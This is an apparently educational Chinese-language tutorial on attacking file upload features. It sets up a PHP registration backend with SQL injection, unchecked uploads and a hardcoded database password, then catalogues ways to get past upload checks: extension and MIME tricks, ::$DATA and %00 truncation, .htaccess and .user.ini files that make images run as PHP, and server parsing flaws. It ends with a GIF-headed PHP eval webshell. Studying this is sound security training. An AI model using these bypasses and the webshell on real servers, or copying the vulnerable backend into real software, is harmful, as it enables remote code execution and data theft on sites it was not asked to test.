文件上传-- Web渗透
环境准备
form表单提交
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>注册</title>
<style>
.wrapper{
width: 500px;
margin: auto;
font-size: 30px;
margin-top: 100px;
}
.wrapper div{
margin-top: 10px;
height: 60px;
}
.wrapper div #username,#password{
width: 200px;
height: 40px;
font-size: 30px;
}
input{
margin-left: 80px;
}
#button{
width: 100%;
margin-left: 50%;
transform: translateX(-130px);
}
#button input{
width: 100px;
height: 30px;
}
</style>
<script src="./jq.js"></script>
</head>
<body>
<div class="wrapper">
<!-- 上传附件要加上 enctype="multipart/form-data" -->
<form action="reg.php" method="post" enctype="multipart/form-data">
<div>
<span>用户名</span><input type="text" name="username" id="username">
</div>
<div>
<span>密 码</span><input type="password" name="password" id="password">
</div>
<div>
<span>头 像</span><input type="file" name="head" id="head">
</div>
<div id="button">
<input type="submit"value="submit">
</div>
</form>
</div>
</body>
</html>
ajax提交
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>注册</title>
<style>
.wrapper{
width: 500px;
margin: auto;
font-size: 30px;
margin-top: 100px;
}
.wrapper div{
margin-top: 10px;
height: 60px;
}
.wrapper div #username,#password{
width: 200px;
height: 40px;
font-size: 30px;
}
input{
margin-left: 80px;
}
#button{
width: 100%;
margin-left: 50%;
transform: translateX(-130px);
}
#button input{
width: 100px;
height: 30px;
}
</style>
<script src="./jq.js"></script>
</head>
<body>
<div class="wrapper">
<div>
<span>用户名</span><input type="text" name="username" id="username">
</div>
<div>
<span>密 码</span><input type="password" name="password" id="password">
</div>
<div>
<span>头 像</span><input type="file" name="head" id="head">
</div>
<div id="button">
<input type="submit" onclick="submit()" value="submit">
</div>
</div>
</body>
<script>
function submit(){
//带有附件上传 new一个
let formdata = new FormData()
formdata.append('username',$("#username").val())
formdata.append('password',$("#password").val())
formdata.append('head',$("#head")[0].files[0])
$.ajax({
url:'reg.php',
type:"POST",
data:formdata,
cache:false,
contentType:false,
processData:false,
success:function(data){
alert(data)
if("注册成功"in data){
location.href="login.php"
}
}
})
}
</script>
</html>
后台环境
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$tmpPath = $_FILES['head']['tmp_name'];// 获得文件临时路径
$filename=$_FILES['head']['name'];//获得文件名称
$conn=new mysqli('127.0.0.1','root','duyun','learn') or die("数据库连接失败");
// 判断用户是否存在
$sql = "select username from users where username='$username'";
$result = $conn->query($sql);
$row = $result->num_rows;
if($row>0){
die("用户已被注册!");
}
// 上传文件 uploads 要设置外部用户可写入的权限
$newFileName = date("Ymd-His").".".end(explode(".",$filename));
move_uploaded_file($tmpPath,"uploads/".$newFileName) or die("文件上传失败");
// 用户添加到数据库
$sql="insert into users (username,password,role,avatar)values('$username','$password','editor','$newFileName')";
$conn->query($sql) or die("注册失败");
$conn->commit();
$conn->close();
echo "注册成功";
?>
文件上传检验
前端校验
//对上传的文件进行检测
function checkFile(){
let file = $("#head").val()
if(file==null || file==""){
alert("请选择要上传的文件")
return false
}
// 定义允许上传的文件后准
let allow_ext = "jpg|png|gif"
let ext_name= file.substring($("#head").val().lastIndexOf('.')+1)
if(allow_ext.indexOf(ext_name) == -1){
alert(`请上传后缀为${allow_ext}的文件,您上传的文件类型为${ext_name}`)
return false;
}
return true
}
前端校验绕过
- 在浏览器禁用JavaScript(通常不建议使用,因为还存在很多功能需要js)
- Burp重放注册请求
后端校验
# 校验后缀名
$extName=end(explode('.',$filename));
if($extName == 'php'){# 等等
die("错误")
}
# 校验文件类型
$fileType=$_FILE['file']['type'];
if($fileType != 'image/jpeg' && $fileType != 'image/png' && $fileType != 'image/gif')
后端校验绕过
- 大小写转化 PHP PhP等等
- burp修改content-type后绕过
绕过
后缀名:黑名单、白名单
文件类型:MIME信息
文件头:内容头信息
黑名单:明确不能上传的后缀
php,jsp,asp等
白名单:明确能够上传的后缀
jpg,png,gif等等
客户端绕过
验证的方式是使用前端js代码
可以禁用JavaScript来进行绕过 或者 抓包修改后缀名重放
服务器MIME绕过
MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型
PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg
黑名单 / 白名单
别名解析
大小写绕过
空格绕过
windows系统
使用burp抓包的时候在后缀名后面加一个空格,Windows环境下 后缀名存在空格会直接被删除
点绕过
文件最后一个符号是’.'时会被丢弃
- " ." 空格点 – 绕过先去空格 再去点
- “. .” 点空格点 – 绕过先去点 再去空格
加 ::$DATA
NTFS文件系统
在 PHP+Windows中 如果文件名+::$DATA
会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA
之前的文件名。利用windows特性,可在后缀名中加::$DATA
绕过
双写绕过
把黑名单中的名字换成空格,则双写后缀名绕过。
%00
截断与0x00
截断
前提:php的版本要小于5.3.4
并且魔术引号必须关闭
%00:主要针对地址上的截断 (url),上传路径是可以控制
0x00截断:主要针对文件命名上的截断
0x00、%00就是相当于 0 只是在get提交 时,经过url编码后,00就成了%00,当url中出现0时就会认为读取已结束
shell.php%00.png
对于 0x00 我们在BP中修改时,需要使用Hex模块,添加00
.htaccess文件绕过
只有apache具有此文件
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置
通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件
创建.htaccess文件
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php#在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>
.user.ini.绕过
前提
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下要有可执行的php文件
.user.ini作用:所有的php文件都自动包含jpg文件
//绕过exif_imagetype()
GIF89a
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
//在页面顶部加载文件
auto_prepend_file=a.jpg
//解析后进行包含,它包含在所有php文件执行后执行
//在页面底部加载文件
auto_append_file=a.jpg
跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
服务器解析漏洞
apache
Apache按从右到左的顺序识别文件后缀,直至找到后缀能匹配配置文件中的设置。遇到不能识别的后缀名便跳过
shell.php.xxx --> 被解析成php文件
利用条件
- 不可以重命名,上传的名称也是原先的名称
IIS
*.asa
、*.asp
格式的文件夹时其目录下的文件都会当做asp文件解析。
当文件名为*.asp;1.jpg
时,IIS会以asp文件来解析,也就是说;起到了截断作用。
Nginx
在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站,如果我们访问/test.jpg/test.php
这个虚构的目录时服务器会直接将test.jpg作为php文件进行解析
文件内容检测
文件头检测
制作图片马来绕过 或者 在文件头部添加文件幻数
GIF89a
shell检测
禁止了文件内容中出现<?
GIF89a // 文件幻术头的方式进行绕过
<script language="php">eval($_POST['cmd']);</script> //上传的是phtml